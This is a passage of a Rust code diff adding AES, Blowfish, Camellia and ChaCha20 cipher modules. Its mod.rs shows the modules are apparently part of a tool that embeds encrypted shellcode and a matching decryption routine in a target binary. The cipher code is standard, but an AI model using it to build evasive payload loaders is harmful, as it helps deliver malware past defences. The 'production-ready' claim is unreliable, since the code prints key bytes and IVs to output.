+use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit};
+use aes::Aes128;
+use rand::Rng;
+use sha2::{Digest, Sha256};
+
+type Aes128CbcEnc = cbc::Encryptor<Aes128>;
+#[allow(dead_code)]
+type Aes128CbcDec = cbc::Decryptor<Aes128>;
+
+/// AES-128 cipher implementation with CBC mode
+pub struct AesEncryptor {
+    key: [u8; 16],
+}
+
+impl AesEncryptor {
+    /// Creates a new AES encryptor with the given key
+    /// Uses SHA-256 to derive a proper 16-byte key from the input
+    pub fn new(key: &str) -> Self {
+        let mut hasher = Sha256::new();
+        hasher.update(key.as_bytes());
+        let hash = hasher.finalize();
+
+        // Take first 16 bytes of hash for AES-128
+        let mut key_bytes = [0u8; 16];
+        key_bytes.copy_from_slice(&hash[..16]);
+
+        println!(
+            "[AES] Derived key from input (SHA-256): {:02x?}",
+            &key_bytes[..8]
+        );
+
+        Self { key: key_bytes }
+    }
+}
+
+impl Encryptor for AesEncryptor {
+    fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+        // Generate random IV
+        let mut rng = rand::thread_rng();
+        let mut iv = [0u8; 16];
+        rng.fill(&mut iv);
+
+        println!(
+            "[AES] Generated random IV for encryption: {:02x?}",
+            &iv[..8]
+        );
+
+        let cipher = Aes128CbcEnc::new(&self.key.into(), &iv.into());
+        let ciphertext = cipher.encrypt_padded_vec_mut::<Pkcs7>(data);
+
+        // Prepend IV to ciphertext
+        let mut result = iv.to_vec();
+        result.extend_from_slice(&ciphertext);
+
+        Ok(result)
+    }
+
+    fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+        if data.len() < 16 {
+            return Err("Ciphertext too short to contain IV".to_string());
+        }
+
+        // Extract IV from beginning of data
+        let iv: [u8; 16] = data[..16].try_into().unwrap();
+        let ciphertext = &data[16..];
+
+        println!("[AES] Extracted IV for decryption: {:02x?}", &iv[..8]);
+
+        let cipher = Aes128CbcDec::new(&self.key.into(), &iv.into());
+        cipher
+            .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+            .map_err(|e| format!("Decryption error: {:?}", e))
+    }
+
+    fn key_size(&self) -> usize {
+        16 // AES-128 uses 16-byte keys
+    }
+
+    fn algorithm_name(&self) -> &'static str {
+        "AES-128-CBC"
+    }
+
+    fn uses_iv(&self) -> bool {
+        true
+    }
+
+    fn generate_decrypt_code(&self) -> &'static str {
+        r#"/// Decrypts AES-128 CBC encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_aes(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+    use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, KeyIvInit};
+    use aes::Aes128;
+    
+    if data.len() < 16 {
+        return Err("Ciphertext too short to contain IV".to_string());
+    }
+    
+    if key.len() != 16 {
+        return Err("Key must be 16 bytes for AES-128".to_string());
+    }
+    
+    let iv: [u8; 16] = data[..16].try_into().unwrap();
+    let ciphertext = &data[16..];
+    
+    let key_array: [u8; 16] = key.try_into().map_err(|_| "Invalid key length".to_string())?;
+    
+    type Aes128CbcDec = cbc::Decryptor<Aes128>;
+    let cipher = Aes128CbcDec::new(&key_array.into(), &iv.into());
+    cipher
+        .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+        .map_err(|e| format!("Decryption error: {:?}", e))
+}"#
+    }
+
+    fn required_dependencies(&self) -> Vec<(&'static str, &'static str)> {
+        vec![("aes", "0.8"), ("cbc", "0.1")]
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_aes_encrypt_decrypt() {
+        let encryptor = AesEncryptor::new("my-secret-key-123");
+        let plaintext = b"Hello, World!";
+
+        let encrypted = encryptor.encrypt(plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+
+    #[test]
+    fn test_aes_different_keys() {
+        let encryptor1 = AesEncryptor::new("key1");
+        let encryptor2 = AesEncryptor::new("key2");
+        let plaintext = b"Test data";
+
+        let encrypted1 = encryptor1.encrypt(plaintext).unwrap();
+        let encrypted2 = encryptor2.encrypt(plaintext).unwrap();
+
+        assert_ne!(encrypted1, encrypted2);
+    }
+
+    #[test]
+    fn test_aes_empty_data() {
+        let encryptor = AesEncryptor::new("key");
+        let empty: &[u8] = &[];
+
+        let encrypted = encryptor.encrypt(empty).unwrap();
+        // AES with padding will have at least one block
+        assert!(encrypted.len() >= 16);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted.len(), 0);
+    }
+
+    #[test]
+    fn test_aes_wrong_key_decryption() {
+        let encryptor1 = AesEncryptor::new("correct-key");
+        let encryptor2 = AesEncryptor::new("wrong-key");
+        let plaintext = b"Secret message";
+
+        let encrypted = encryptor1.encrypt(plaintext).unwrap();
+        let result = encryptor2.decrypt(&encrypted);
+
+        // Decryption with wrong key should fail or produce garbage
+        assert!(result.is_err() || result.unwrap() != plaintext);
+    }
+
+    #[test]
+    fn test_aes_long_data() {
+        let encryptor = AesEncryptor::new("secret-key");
+        let plaintext =
+            b"This is a much longer message that exceeds the AES block size of 16 bytes";
+
+        let encrypted = encryptor.encrypt(plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+
+    #[test]
+    fn test_aes_binary_data() {
+        let encryptor = AesEncryptor::new("key");
+        let plaintext: Vec<u8> = (0..=255).collect();
+
+        let encrypted = encryptor.encrypt(&plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+}

diff --git a/src/encryption/blowfish_cipher.rs b/src/encryption/blowfish_cipher.rs
@@ -0,0 +1,238 @@
+use super::Encryptor;
+use blowfish::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit};
+use blowfish::Blowfish;
+use rand::Rng;
+
+type BlowfishCbcEnc = cbc::Encryptor<Blowfish>;
+#[allow(dead_code)]
+type BlowfishCbcDec = cbc::Decryptor<Blowfish>;
+
+/// Blowfish cipher implementation with CBC mode
+pub struct BlowfishEncryptor {
+    key: Vec<u8>,
+}
+
+impl BlowfishEncryptor {
+    /// Creates a new Blowfish encryptor with the given key
+    /// Blowfish supports key sizes from 4 to 56 bytes
+    pub fn new(key: &str) -> Self {
+        let key_data = key.as_bytes();
+
+        // Ensure key is at least 4 bytes and at most 56 bytes
+        let key = if key_data.len() < 4 {
+            println!(
+                "[Blowfish] WARNING: Key length {} is less than 4 bytes, padding to 4 bytes",
+                key_data.len()
+            );
+            // Pad short keys
+            let mut padded = key_data.to_vec();
+            while padded.len() < 4 {
+                padded.push(0);
+            }
+            padded
+        } else if key_data.len() > 56 {
+            println!(
+                "[Blowfish] WARNING: Key length {} exceeds 56 bytes, truncating to 56 bytes",
+                key_data.len()
+            );
+            // Truncate long keys
+            key_data[..56].to_vec()
+        } else {
+            key_data.to_vec()
+        };
+
+        println!("[Blowfish] Using key length: {} bytes", key.len());
+
+        Self { key }
+    }
+}
+
+impl Encryptor for BlowfishEncryptor {
+    fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+        // Generate random IV (8 bytes for Blowfish)
+        let mut rng = rand::thread_rng();
+        let mut iv = [0u8; 8];
+        rng.fill(&mut iv);
+
+        println!(
+            "[Blowfish] Generated random IV for encryption: {:02x?}",
+            &iv
+        );
+
+        let cipher = BlowfishCbcEnc::new_from_slices(&self.key, &iv)
+            .map_err(|e| format!("Failed to create cipher: {:?}", e))?;
+
+        let ciphertext = cipher.encrypt_padded_vec_mut::<Pkcs7>(data);
+
+        // Prepend IV to ciphertext
+        let mut result = iv.to_vec();
+        result.extend_from_slice(&ciphertext);
+
+        Ok(result)
+    }
+
+    fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+        if data.len() < 8 {
+            return Err("Ciphertext too short to contain IV".to_string());
+        }
+
+        // Extract IV from beginning of data
+        let iv: [u8; 8] = data[..8].try_into().unwrap();
+        let ciphertext = &data[8..];
+
+        println!("[Blowfish] Extracted IV for decryption: {:02x?}", &iv);
+
+        let cipher = BlowfishCbcDec::new_from_slices(&self.key, &iv)
+            .map_err(|e| format!("Failed to create cipher: {:?}", e))?;
+
+        cipher
+            .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+            .map_err(|e| format!("Decryption error: {:?}", e))
+    }
+
+    fn key_size(&self) -> usize {
+        self.key.len()
+    }
+
+    fn algorithm_name(&self) -> &'static str {
+        "Blowfish-CBC"
+    }
+
+    fn uses_iv(&self) -> bool {
+        true
+    }
+
+    fn generate_decrypt_code(&self) -> &'static str {
+        r#"/// Decrypts Blowfish CBC encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_blowfish(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+    use blowfish::cipher::{block_padding::Pkcs7, BlockDecryptMut, KeyIvInit};
+    use blowfish::Blowfish;
+    
+    if data.len() < 8 {
+        return Err("Ciphertext too short to contain IV".to_string());
+    }
+    
+    if key.is_empty() || key.len() > 56 {
+        return Err("Key must be between 1 and 56 bytes for Blowfish".to_string());
+    }
+    
+    let iv: [u8; 8] = data[..8].try_into().unwrap();
+    let ciphertext = &data[8..];
+    
+    type BlowfishCbcDec = cbc::Decryptor<Blowfish>;
+    let cipher = BlowfishCbcDec::new_from_slices(key, &iv)
+        .map_err(|e| format!("Failed to create cipher: {:?}", e))?;
+    
+    cipher
+        .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+        .map_err(|e| format!("Decryption error: {:?}", e))
+}"#
+    }
+
+    fn required_dependencies(&self) -> Vec<(&'static str, &'static str)> {
+        vec![("blowfish", "0.9"), ("cbc", "0.1")]
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_blowfish_encrypt_decrypt() {
+        let encryptor = BlowfishEncryptor::new("my-secret-key-123");
+        let plaintext = b"Hello, World!";
+
+        let encrypted = encryptor.encrypt(plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+
+    #[test]
+    fn test_blowfish_different_keys() {
+        let encryptor1 = BlowfishEncryptor::new("key1");
+        let encryptor2 = BlowfishEncryptor::new("key2");
+        let plaintext = b"Test data";
+
+        let encrypted1 = encryptor1.encrypt(plaintext).unwrap();
+        let encrypted2 = encryptor2.encrypt(plaintext).unwrap();
+
+        assert_ne!(encrypted1, encrypted2);
+    }
+
+    #[test]
+    fn test_blowfish_empty_data() {
+        let encryptor = BlowfishEncryptor::new("key");
+        let empty: &[u8] = &[];
+
+        let encrypted = encryptor.encrypt(empty).unwrap();
+        // Blowfish with padding will have at least one block (8 bytes)
+        assert!(encrypted.len() >= 8);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted.len(), 0);
+    }
+
+    #[test]
+    fn test_blowfish_short_key() {
+        let encryptor = BlowfishEncryptor::new("ab");
+        let plaintext = b"Test";
+
+        let encrypted = encryptor.encrypt(plaintext).unwrap();
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+
+    #[test]
+    fn test_blowfish_long_key() {
+        let encryptor = BlowfishEncryptor::new(
+            "this-is-a-very-long-key-that-exceeds-56-bytes-and-should-be-truncated",
+        );
+        let plaintext = b"Test";
+
+        let encrypted = encryptor.encrypt(plaintext).unwrap();
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+
+    #[test]
+    fn test_blowfish_wrong_key_decryption() {
+        let encryptor1 = BlowfishEncryptor::new("correct-key");
+        let encryptor2 = BlowfishEncryptor::new("wrong-key");
+        let plaintext = b"Secret message";
+
+        let encrypted = encryptor1.encrypt(plaintext).unwrap();
+        let result = encryptor2.decrypt(&encrypted);
+
+        // Decryption with wrong key should fail or produce garbage
+        assert!(result.is_err() || result.unwrap() != plaintext);
+    }
+
+    #[test]
+    fn test_blowfish_long_data() {
+        let encryptor = BlowfishEncryptor::new("secret-key");
+        let plaintext = b"This is a much longer message that exceeds the Blowfish block size";
+
+        let encrypted = encryptor.encrypt(plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+
+    #[test]
+    fn test_blowfish_binary_data() {
+        let encryptor = BlowfishEncryptor::new("key");
+        let plaintext: Vec<u8> = (0..=255).collect();
+
+        let encrypted = encryptor.encrypt(&plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+}

diff --git a/src/encryption/camellia_cipher.rs b/src/encryption/camellia_cipher.rs
@@ -0,0 +1,194 @@
+use super::Encryptor;
+use camellia::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit};
+use camellia::Camellia256;
+use rand::Rng;
+use sha2::{Digest, Sha256};
+
+type Camellia256CbcEnc = cbc::Encryptor<Camellia256>;
+#[allow(dead_code)]
+type Camellia256CbcDec = cbc::Decryptor<Camellia256>;
+
+/// Camellia-256 cipher implementation with CBC mode
+pub struct CamelliaEncryptor {
+    key: [u8; 32],
+}
+
+impl CamelliaEncryptor {
+    /// Creates a new Camellia-256 encryptor with the given key
+    /// Uses SHA-256 to derive a proper 32-byte key from the input
+    pub fn new(key: &str) -> Self {
+        let mut hasher = Sha256::new();
+        hasher.update(key.as_bytes());
+        let hash = hasher.finalize();
+
+        let mut key_bytes = [0u8; 32];
+        key_bytes.copy_from_slice(&hash[..32]);
+
+        println!(
+            "[Camellia] Derived key from input (SHA-256): {:02x?}",
+            &key_bytes[..8]
+        );
+
+        Self { key: key_bytes }
+    }
+}
+
+impl Encryptor for CamelliaEncryptor {
+    fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+        let mut rng = rand::thread_rng();
+        let mut iv = [0u8; 16];
+        rng.fill(&mut iv);
+
+        println!(
+            "[Camellia] Generated random IV for encryption: {:02x?}",
+            &iv[..8]
+        );
+
+        let cipher = Camellia256CbcEnc::new(&self.key.into(), &iv.into());
+        let ciphertext = cipher.encrypt_padded_vec_mut::<Pkcs7>(data);
+
+        let mut result = iv.to_vec();
+        result.extend_from_slice(&ciphertext);
+
+        Ok(result)
+    }
+
+    fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+        if data.len() < 16 {
+            return Err("Ciphertext too short to contain IV".to_string());
+        }
+
+        let iv: [u8; 16] = data[..16].try_into().unwrap();
+        let ciphertext = &data[16..];
+
+        println!("[Camellia] Extracted IV for decryption: {:02x?}", &iv[..8]);
+
+        let cipher = Camellia256CbcDec::new(&self.key.into(), &iv.into());
+        cipher
+            .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+            .map_err(|e| format!("Decryption error: {:?}", e))
+    }
+
+    fn key_size(&self) -> usize {
+        32
+    }
+
+    fn algorithm_name(&self) -> &'static str {
+        "Camellia-256-CBC"
+    }
+
+    fn uses_iv(&self) -> bool {
+        true
+    }
+
+    fn generate_decrypt_code(&self) -> &'static str {
+        r#"/// Decrypts Camellia-256 CBC encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_camellia(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+    use camellia::cipher::{block_padding::Pkcs7, BlockDecryptMut, KeyIvInit};
+    use camellia::Camellia256;
+    
+    if data.len() < 16 {
+        return Err("Ciphertext too short to contain IV".to_string());
+    }
+    
+    if key.len() != 32 {
+        return Err("Key must be 32 bytes for Camellia-256".to_string());
+    }
+    
+    let iv: [u8; 16] = data[..16].try_into().unwrap();
+    let ciphertext = &data[16..];
+    
+    let key_array: [u8; 32] = key.try_into().map_err(|_| "Invalid key length".to_string())?;
+    
+    type Camellia256CbcDec = cbc::Decryptor<Camellia256>;
+    let cipher = Camellia256CbcDec::new(&key_array.into(), &iv.into());
+    cipher
+        .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+        .map_err(|e| format!("Decryption error: {:?}", e))
+}"#
+    }
+
+    fn required_dependencies(&self) -> Vec<(&'static str, &'static str)> {
+        vec![("camellia", "0.1"), ("cbc", "0.1")]
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_camellia_encrypt_decrypt() {
+        let encryptor = CamelliaEncryptor::new("my-secret-key-123");
+        let plaintext = b"Hello, World!";
+
+        let encrypted = encryptor.encrypt(plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+
+    #[test]
+    fn test_camellia_different_keys() {
+        let encryptor1 = CamelliaEncryptor::new("key1");
+        let encryptor2 = CamelliaEncryptor::new("key2");
+        let plaintext = b"Test data";
+
+        let encrypted1 = encryptor1.encrypt(plaintext).unwrap();
+        let encrypted2 = encryptor2.encrypt(plaintext).unwrap();
+
+        assert_ne!(encrypted1, encrypted2);
+    }
+
+    #[test]
+    fn test_camellia_empty_data() {
+        let encryptor = CamelliaEncryptor::new("key");
+        let empty: &[u8] = &[];
+
+        let encrypted = encryptor.encrypt(empty).unwrap();
+        assert!(encrypted.len() >= 16);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted.len(), 0);
+    }
+
+    #[test]
+    fn test_camellia_wrong_key_decryption() {
+        let encryptor1 = CamelliaEncryptor::new("correct-key");
+        let encryptor2 = CamelliaEncryptor::new("wrong-key");
+        let plaintext = b"Secret message";
+
+        let encrypted = encryptor1.encrypt(plaintext).unwrap();
+        let result = encryptor2.decrypt(&encrypted);
+
+        assert!(result.is_err() || result.unwrap() != plaintext);
+    }
+
+    #[test]
+    fn test_camellia_long_data() {
+        let encryptor = CamelliaEncryptor::new("secret-key");
+        let plaintext =
+            b"This is a much longer message that exceeds the Camellia block size of 16 bytes";
+
+        let encrypted = encryptor.encrypt(plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+
+    #[test]
+    fn test_camellia_binary_data() {
+        let encryptor = CamelliaEncryptor::new("key");
+        let plaintext: Vec<u8> = (0..=255).collect();
+
+        let encrypted = encryptor.encrypt(&plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+}

diff --git a/src/encryption/chacha20_cipher.rs b/src/encryption/chacha20_cipher.rs
@@ -0,0 +1,187 @@
+use super::Encryptor;
+use chacha20::cipher::{KeyIvInit, StreamCipher};
+use chacha20::ChaCha20;
+use rand::Rng;
+use sha2::{Digest, Sha256};
+
+/// ChaCha20 stream cipher implementation
+pub struct ChaCha20Encryptor {
+    key: [u8; 32],
+}
+
+impl ChaCha20Encryptor {
+    /// Creates a new ChaCha20 encryptor with the given key
+    /// Uses SHA-256 to derive a proper 32-byte key from the input
+    pub fn new(key: &str) -> Self {
+        let mut hasher = Sha256::new();
+        hasher.update(key.as_bytes());
+        let hash = hasher.finalize();
+
+        // Use full 32 bytes of SHA-256 hash for ChaCha20 key
+        let mut key_bytes = [0u8; 32];
+        key_bytes.copy_from_slice(&hash[..32]);
+
+        println!(
+            "[ChaCha20] Derived key from input (SHA-256): {:02x?}",
+            &key_bytes[..8]
+        );
+
+        Self { key: key_bytes }
+    }
+}
+
+impl Encryptor for ChaCha20Encryptor {
+    fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+        // Generate random nonce (12 bytes for ChaCha20)
+        let mut rng = rand::thread_rng();
+        let mut nonce = [0u8; 12];
+        rng.fill(&mut nonce);
+
+        println!(
+            "[ChaCha20] Generated random nonce for encryption: {:02x?}",
+            &nonce
+        );
+
+        let mut cipher = ChaCha20::new(&self.key.into(), &nonce.into());
+        let mut buffer = data.to_vec();
+        cipher.apply_keystream(&mut buffer);
+
+        // Prepend nonce to ciphertext
+        let mut result = nonce.to_vec();
+        result.extend_from_slice(&buffer);
+
+        Ok(result)
+    }
+
+    fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+        if data.len() < 12 {
+            return Err("Ciphertext too short to contain nonce".to_string());
+        }
+
+        // Extract nonce from beginning of data
+        let nonce: [u8; 12] = data[..12].try_into().unwrap();
+        let ciphertext = &data[12..];
+
+        println!("[ChaCha20] Extracted nonce for decryption: {:02x?}", &nonce);
+
+        // ChaCha20 is symmetric - same operation for decrypt
+        let mut cipher = ChaCha20::new(&self.key.into(), &nonce.into());
+        let mut buffer = ciphertext.to_vec();
+        cipher.apply_keystream(&mut buffer);
+
+        Ok(buffer)
+    }
+
+    fn key_size(&self) -> usize {
+        32 // ChaCha20 uses 32-byte keys
+    }
+
+    fn algorithm_name(&self) -> &'static str {
+        "ChaCha20"
+    }
+
+    fn uses_iv(&self) -> bool {
+        true // Uses nonce
+    }
+
+    fn generate_decrypt_code(&self) -> &'static str {
+        r#"/// Decrypts ChaCha20 encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_chacha20(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+    use chacha20::cipher::{KeyIvInit, StreamCipher};
+    use chacha20::ChaCha20;
+    
+    if data.len() < 12 {
+        return Err("Ciphertext too short to contain nonce".to_string());
+    }
+    
+    if key.len() != 32 {
+        return Err("Key must be 32 bytes for ChaCha20".to_string());
+    }
+    
+    let nonce: [u8; 12] = data[..12].try_into().unwrap();
+    let ciphertext = &data[12..];
+    
+    let key_array: [u8; 32] = key.try_into().map_err(|_| "Invalid key length".to_string())?;
+    
+    let mut cipher = ChaCha20::new(&key_array.into(), &nonce.into());
+    let mut buffer = ciphertext.to_vec();
+    cipher.apply_keystream(&mut buffer);
+    
+    Ok(buffer)
+}"#
+    }
+
+    fn required_dependencies(&self) -> Vec<(&'static str, &'static str)> {
+        vec![("chacha20", "0.9")]
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_chacha20_encrypt_decrypt() {
+        let encryptor = ChaCha20Encryptor::new("my-secret-key-123");
+        let plaintext = b"Hello, World!";
+
+        let encrypted = encryptor.encrypt(plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+
+    #[test]
+    fn test_chacha20_different_keys() {
+        let encryptor1 = ChaCha20Encryptor::new("key1");
+        let encryptor2 = ChaCha20Encryptor::new("key2");
+        let plaintext = b"Test data";
+
+        let encrypted1 = encryptor1.encrypt(plaintext).unwrap();
+        let encrypted2 = encryptor2.encrypt(plaintext).unwrap();
+
+        assert_ne!(encrypted1, encrypted2);
+    }
+
+    #[test]
+    fn test_chacha20_empty_data() {
+        let encryptor = ChaCha20Encryptor::new("key");
+        let empty: &[u8] = &[];
+
+        let encrypted = encryptor.encrypt(empty).unwrap();
+        // Encrypted data includes 12-byte nonce
+        assert_eq!(encrypted.len(), 12);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted.len(), 0);
+    }
+
+    #[test]
+    fn test_chacha20_long_data() {
+        let encryptor = ChaCha20Encryptor::new("secret-key");
+        let plaintext = b"This is a much longer message that tests the stream cipher capabilities";
+
+        let encrypted = encryptor.encrypt(plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+        // Encrypted data includes 12-byte nonce + ciphertext
+        assert_eq!(encrypted.len(), plaintext.len() + 12);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+
+    #[test]
+    fn test_chacha20_binary_data() {
+        let encryptor = ChaCha20Encryptor::new("key");
+        let plaintext: Vec<u8> = (0..=255).collect();
+
+        let encrypted = encryptor.encrypt(&plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+}

diff --git a/src/encryption/mod.rs b/src/encryption/mod.rs
@@ -0,0 +1,308 @@
+//! Encryption module providing multiple cipher implementations.
+//!
+//! This module implements a generic encryption interface with support for:
+//! - AES-128 (CBC mode with random IV)
+//! - AES-256 (CBC mode with random IV)
+//! - ChaCha20 (stream cipher with random nonce)
+//! - XOR cipher (simple XOR operation)
+//! - Blowfish (CBC mode with random IV)
+//! - Twofish (CBC mode with random IV)
+//! - Camellia-256 (CBC mode with random IV)
+//!
+//! # Production-Ready Features
+//!
+//! All implementations use:
+//! - SHA-256 for proper key derivation from passwords (except XOR)
+//! - Random IV/nonce generation for each encryption operation
+//! - IV/nonce prepended to ciphertext for automatic extraction during decryption
+//! - Logging of generated IV/nonce values for debugging
+//! - Key length warnings for Blowfish
+
+mod aes256_cipher;
+mod aes_cipher;
+mod blowfish_cipher;
+mod camellia_cipher;
+mod chacha20_cipher;
+mod twofish_cipher;
+mod xor_cipher;
+
+use sha2::{Digest, Sha256};
+
+use crate::cli::EncryptionKind;
+
+pub use aes256_cipher::Aes256Encryptor;
+pub use aes_cipher::AesEncryptor;
+pub use blowfish_cipher::BlowfishEncryptor;
+pub use camellia_cipher::CamelliaEncryptor;
+pub use chacha20_cipher::ChaCha20Encryptor;
+pub use twofish_cipher::TwofishEncryptor;
+pub use xor_cipher::XorEncryptor;
+
+/// Generic encryption/decryption interface
+pub trait Encryptor {
+    /// Encrypts the given data using the configured key
+    fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String>;
+
+    /// Decrypts the given data using the configured key
+    #[allow(dead_code)]
+    fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String>;
+
+    /// Returns the key size used by this encryptor
+    #[allow(dead_code)]
+    fn key_size(&self) -> usize;
+
+    /// Returns the encryption algorithm name
+    #[allow(dead_code)]
+    fn algorithm_name(&self) -> &'static str;
+
+    /// Returns the encryption type string used for code generation (e.g., "xor", "aes")
+    fn encryption_type(&self) -> &'static str {
+        match self.algorithm_name() {
+            "XOR" => "xor",
+            "AES-128-CBC" => "aes",
+            "AES-256-CBC" => "aes256",
+            "ChaCha20" => "chacha20",
+            "Blowfish-CBC" => "blowfish",
+            "Twofish-CBC" => "twofish",
+            "Camellia-256-CBC" => "camellia",
+            _ => "unknown",
+        }
+    }
+
+    /// Returns whether this encryption method uses an IV/nonce
+    #[allow(dead_code)]
+    fn uses_iv(&self) -> bool {
+        true // Most modern ciphers use IV/nonce
+    }
+
+    /// Generates the decryption function code for embedding in the target binary
+    fn generate_decrypt_code(&self) -> &'static str;
+
+    /// Generates the decryption template code (the actual call to decrypt)
+    fn generate_decrypt_template(&self) -> String {
+        let encryption_type = self.encryption_type();
+        match encryption_type {
+            "xor" => r#"
+    let decrypted = internals::decrypt_xor(ENCRYPTED_SHELLCODE, &DECRYPTION_KEY);
+"#
+            .to_string(),
+            _ => {
+                format!(
+                    r#"
+    let decrypted = internals::decrypt_{}(ENCRYPTED_SHELLCODE, &DECRYPTION_KEY)
+        .expect("Failed to decrypt");
+"#,
+                    encryption_type
+                )
+            }
+        }
+    }
+
+    /// Returns the required Cargo dependencies for this encryption algorithm
+    #[allow(dead_code)]
+    fn required_dependencies(&self) -> Vec<(&'static str, &'static str)> {
+        vec![] // Default: no additional dependencies
+    }
+
+    /// Returns the key size in bytes required by this algorithm
+    #[allow(dead_code)]
+    fn key_size_bytes(&self) -> usize {
+        self.key_size()
+    }
+}
+
+/// Creates an encryptor based on the encryption kind and key
+pub fn create_encryptor(kind: EncryptionKind, key: &str) -> Box<dyn Encryptor> {
+    match kind {
+        EncryptionKind::AES => Box::new(AesEncryptor::new(key)),
+        EncryptionKind::AES256 => Box::new(Aes256Encryptor::new(key)),
+        EncryptionKind::Chacha20 => Box::new(ChaCha20Encryptor::new(key)),
+        EncryptionKind::XOR => Box::new(XorEncryptor::new(key)),
+        EncryptionKind::Blowfish => Box::new(BlowfishEncryptor::new(key)),
+        EncryptionKind::Twofish => Box::new(TwofishEncryptor::new(key)),
+        EncryptionKind::Camellia => Box::new(CamelliaEncryptor::new(key)),
+    }
+}
+
+pub fn derive_key_bytes(key: &str, kind: &EncryptionKind) -> Vec<u8> {
+    match kind {
+        EncryptionKind::XOR => key.as_bytes().to_vec(),
+        EncryptionKind::AES => {
+            let mut hasher = Sha256::new();
+            hasher.update(key.as_bytes());
+            let hash = hasher.finalize();
+            hash[..16].to_vec()
+        }
+        EncryptionKind::AES256
+        | EncryptionKind::Chacha20
+        | EncryptionKind::Twofish
+        | EncryptionKind::Camellia => {
+            let mut hasher = Sha256::new();
+            hasher.update(key.as_bytes());
+            let hash = hasher.finalize();
+            hash.to_vec()
+        }
+        EncryptionKind::Blowfish => {
+            let key_data = key.as_bytes();
+            if key_data.len() < 4 {
+                let mut padded = key_data.to_vec();
+                while padded.len() < 4 {
+                    padded.push(0);
+                }
+                padded
+            } else if key_data.len() > 56 {
+                key_data[..56].to_vec()
+            } else {
+                key_data.to_vec()
+            }
+        }
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
